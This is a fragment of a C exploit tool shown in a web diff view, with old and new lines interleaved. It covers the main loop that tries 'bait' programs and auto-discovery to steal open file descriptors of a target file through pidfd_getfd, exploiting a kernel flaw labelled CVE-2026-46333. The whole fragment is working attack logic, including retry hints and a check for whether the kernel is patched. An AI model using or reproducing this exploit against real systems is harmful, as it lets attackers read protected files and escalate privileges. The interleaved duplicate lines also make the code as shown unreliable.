int any_present = 0, all_patched = 1;
|
||||
for (const struct bait *b = builtin_baits; b->path; b++) {
|
||||
if (strcmp(b->file, opt_target) != 0) continue;
|
||||
if (!bait_present(b->path)) continue;
|
||||
any_present = 1;
|
||||
msg("[*]", "bait %s target %s", b->path, opt_target);
|
||||
int rc = hunt(b->path, opt_target, b->args);
|
||||
if (rc == 0) return 0;
|
||||
if (rc != -EPERM) all_patched = 0;
|
||||
}
|
||||
|
||||
/* Phase 2: auto-discover if asked, OR if no built-in bait matched. */
|
||||
if (opt_auto || !any_present) {
|
||||
if (opt_auto)
|
||||
msg("[*]", "built-in baits exhausted, auto-discovering...");
|
||||
else
|
||||
msg("[*]", "no built-in bait opens %s, trying --auto", opt_target);
|
||||
int rc = auto_discover(opt_target, /*just_list=*/0);
|
||||
if (rc == 0) return 0;
|
||||
if (rc != -EPERM) all_patched = 0;
|
||||
}
|
||||
|
||||
if (!any_present && !opt_auto) {
|
||||
msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target);
|
||||
return 1;
|
||||
}
|
||||
if (all_appear_patched && stat_getfd_ok == 0) {
|
||||
msg("[!]", "ran %lu pidfd_getfd calls across %lu forks, none succeeded",
|
||||
if (all_patched && stat_getfd_ok == 0) {
|
||||
msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded",
|
||||
stat_getfds, stat_forks);
|
||||
msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)");
|
||||
return 2;
|
||||
}
|
||||
msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s",
|
||||
stat_getfd_ok, opt_target);
|
||||
msg("[!]", "lure may not open this file on your distro — try -r 5000 or -t <other file>");
|
||||
msg("[!]", "try -r 5000, -t <other file>, or --auto");
|
||||
return 3;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user